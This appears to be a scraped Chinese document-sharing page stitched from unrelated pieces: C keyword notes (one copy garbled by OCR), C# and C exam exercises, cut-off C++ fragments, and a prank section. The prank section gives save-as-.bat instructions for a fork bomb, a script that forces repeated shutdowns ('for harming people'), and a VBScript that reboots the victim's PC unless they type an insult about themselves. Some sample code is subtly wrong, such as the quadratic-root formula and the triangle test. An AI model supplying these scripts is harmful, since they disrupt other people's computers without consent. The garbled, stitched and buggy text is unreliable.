WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

c语言基本代码

言基本代码22 November 2020

'\0':是字符串的结朿标志 '空格 auto:声明自动变量一般不使用 double:声明双精度变量或函数(和%lf连用), m=(double)(v~l)/1*100+; 这个式子加个double是将后而式子中非double类型强制转换类型为double float:声明浮点型变量或函数(和%彳连用),单精度 int:声明整型变量或函数(与%d连用) struct:声明结构体变量或函数 long:声明长整型变量或函数 switch:用于开关语句 enum:声明枚举类型 register:声明积存器变量 typedef:用以给数据类型取别名(当然还有其他作用) extern:声明变量是在其他文件正声明(也可以看做是引用变量) return:子程序返回语句(可以带参数,也看不带参数) union:声明联合数据类型 const:声明只读变量 short:声明短整型变量或函数 unsigned:声明无符号类型变量或函数 signed:生命有符号类型变量或函数 void:声明函数无返回值或无参数,声明无类型指针(基本上就这三个作用)default:开关语句中的“其他”分支 goto:无条件跳转语句 sizeof:讣算数据类型长度,,是整型表达式用法sizeof(类型说明符,数组鋼或表达式);sizeof()是获取类型占用的字节数,是整形的 volatile :说明变量在程序执行中可被隐含地改变 static:声明静态变量 char:声明字符型变量或函数 strcmp:strcmp(sl, s2)比较字符串大小两个字符串自左向右逐个字符相比(按ASCII 值大小相比较),直到岀现不同的字符或遇'\0'为止大于返回1小于返回-1等于返回0 循环: for:一种循环语句(可意会不可言传)for (表达式1;表达式2:表达式3) while:循环语句的循环条件 do:循环语句的循环体 break:跳出当前循环 continue:结束当前循环,开始下一轮循环 判断: d=a>30b:c:相当于if暨当a>30是d=b否则d=c;

c语言基本代码

c语言基本代码 Prepared on 22 November 2020

'\0':是字符串的结束标志 ‘‘:空格 auto:声明自动变量一般不使用 double:声明双精度变量或函数(和%lf连用), m=(double)(v-l)/l*100+; 这个式子加个double是将后面式子中非double类型强制转换类型为double float:声明浮点型变量或函数(和%f连用),单精度 int:声明整型变量或函数(与%d连用) struct:声明结构体变量或函数 long:声明长整型变量或函数 switch:用于开关语句 enum:声明枚举类型 register:声明积存器变量 typedef:用以给数据类型取别名(当然还有其他作用) extern:声明变量是在其他文件正声明(也可以看做是引用变量) return:子程序返回语句(可以带参数,也看不带参数) union:声明联合数据类型 const:声明只读变量 short:声明短整型变量或函数 unsigned:声明无符号类型变量或函数 signed:生命有符号类型变量或函数 void:声明函数无返回值或无参数,声明无类型指针(基本上就这三个作用)default:开关语句中的“其他”分支 goto:无条件跳转语句 sizeof:计算数据类型长度,,是整型表达式用法sizeof(类型说明符,数组名或表达式);sizeof()是获取类型占用的字节数,是整形的 volatile:说明变量在程序执行中可被隐含地改变 static:声明静态变量 char:声明字符型变量或函数 strcmp:strcmp(s1,s2)比较字符串大小两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止大于返回1小于返回-1等于返回0 循环: for:一种循环语句(可意会不可言传)for(表达式1;表达式2;表达式3)while:循环语句的循环条件 do:循环语句的循环体 break:跳出当前循环 continue:结束当前循环,开始下一轮循环 判断: d=a>30b:c:相当于if暨当a>30是d=b否则d=c;

c考试程序代码大全

目录

1)if-else private void button1_Click(object sender, EventArgs e) { int s = int.Parse(textBox1.Text.Trim()); if (s >= 90 && s <= 100) { MessageBox.Show("优秀"); } else if (s >= 80 && s < 90) { MessageBox.Show("良好"); } else if (s >= 70 && s < 80) { MessageBox.Show("中"); } else if (s >= 60 && s < 70) { MessageBox.Show("及格"); } else { MessageBox.Show("不及格"); } } 2)一元二次方程求解 private void button1_Click(object sender, EventArgs e) { double a = double.Parse(txb_A.Text), b = double.Parse(txb_B.Text), c = double.Parse(txb_C.Text); if (a == 0) { MessageBox.Show("方程的根是:" + (-c / b).ToString()); } else { double delta = Math.Pow(b, 2) - 4 * a * c;

if (delta >= 0) { double X1 = (-b + Math.Pow(delta, 0.5)) / 2 * a; double X2 = (-b - Math.Pow(delta, 0.5)) / 2 * a; string temp = "X1="+X1.ToString()+"\r\nX2="+X2.ToString(); MessageBox.Show(temp); } else { MessageBox.Show("没有实数根!"); } } } 3)1-100之间所有整数的和,能被某数整除的所有整数的和,积 private void button1_Click(object sender, EventArgs e) { int sum = 0; for (int i = 0; i <= 100; i = i + 1) { sum = sum + i; } textBox1.Text = sum.ToString(); } 求1~100之内所有偶数的和 int sum = 0; for (int i = 0; i <= 100; i = i + 2) { sum = sum + i; } textBox1.Text = sum.ToString(); private void button1_Click(object sender, EventArgs e) { int sum = 0; int a; for (int i = 0; i <= 100; i++) { a = i % 7; if (a == 0) { sum = sum + i;

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

(完整word版)一些简单的C语言程序代码

由键盘任意输入1个4位数整数,分别输出其中的个位、十位、百位、千位。 /* expe 3-10 */ #include #include void main(void) { int mun,a,b,c,d; scanf("%d",&mun); a=mun / 1000; /*千位*/ b=(mun % 1000) / 100; /*百位*/ c=(mun % 100) / 10; /*十位*/ d=(mun % 10); /*个位*/ printf("千位数字为=%d\n",a); printf("百位数字为=%d\n",b); printf("十位数字为=%d\n",c); printf("个位数字为=%d\n",d); } 由键盘任意输入3个数据,找出其中的最大数和最小数。 #include void main(void) { float a,b,c,k,g;/* k 小g 大*/ printf ("请输入三个数"); scanf("%f%f%f",&a,&b,&c); if (a < b) { k = a; g = b; } else { k = b; g = a; } if (k < c)/*最小*/ { printf ("\n最小的数=%5.2f",k);} else {printf ("\n最小的数=%5.2f",c);} if (g > c)/*最大*/ {printf ("\n最大的数=%5.2f",g);} else {printf ("\n最大的数=%5.2f",c);} } 判断三角形的形状 #include #include void main(void) { printf("请输入三角形三边"); float a,b,c,p,s,k1,k2,k3; scanf("%f%f%f",&a,&b,&c); while (a + b < c || b + c < a || a + c < b ) { printf("不能构成三角形,请重新输入"); scanf("%f%f%f",&a,&b,&c); } k1 = a * a; k2 = b * b; k3 = c * c; if (a == b && b == c && c ==a) {printf("此三角形为等边三角形");} else if (a == b || b == c || c ==a) {printf("此三角形为等腰三角形"); } else if ((k1 == b * b + c * c) || (k2 == a * a + c * c) || (k3 = a * a + b * b)) {printf("此三角形为直角三角形");} else {printf("此三角形为一般三角形");} } 九九乘法表 整体 #include void main(void) { int i,j;

c++经典代码大全

#include //包含iostream.h头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以十进制形式显示数据 cout<<"DEC:"; cout<<" a="< float x=365.5; //声明全局变量 main() { int x=1,y=2; double w=x+y; { double x=1.414,y=1.732,z=3.14; cout<<"inner:x="<

相关文档
最新文档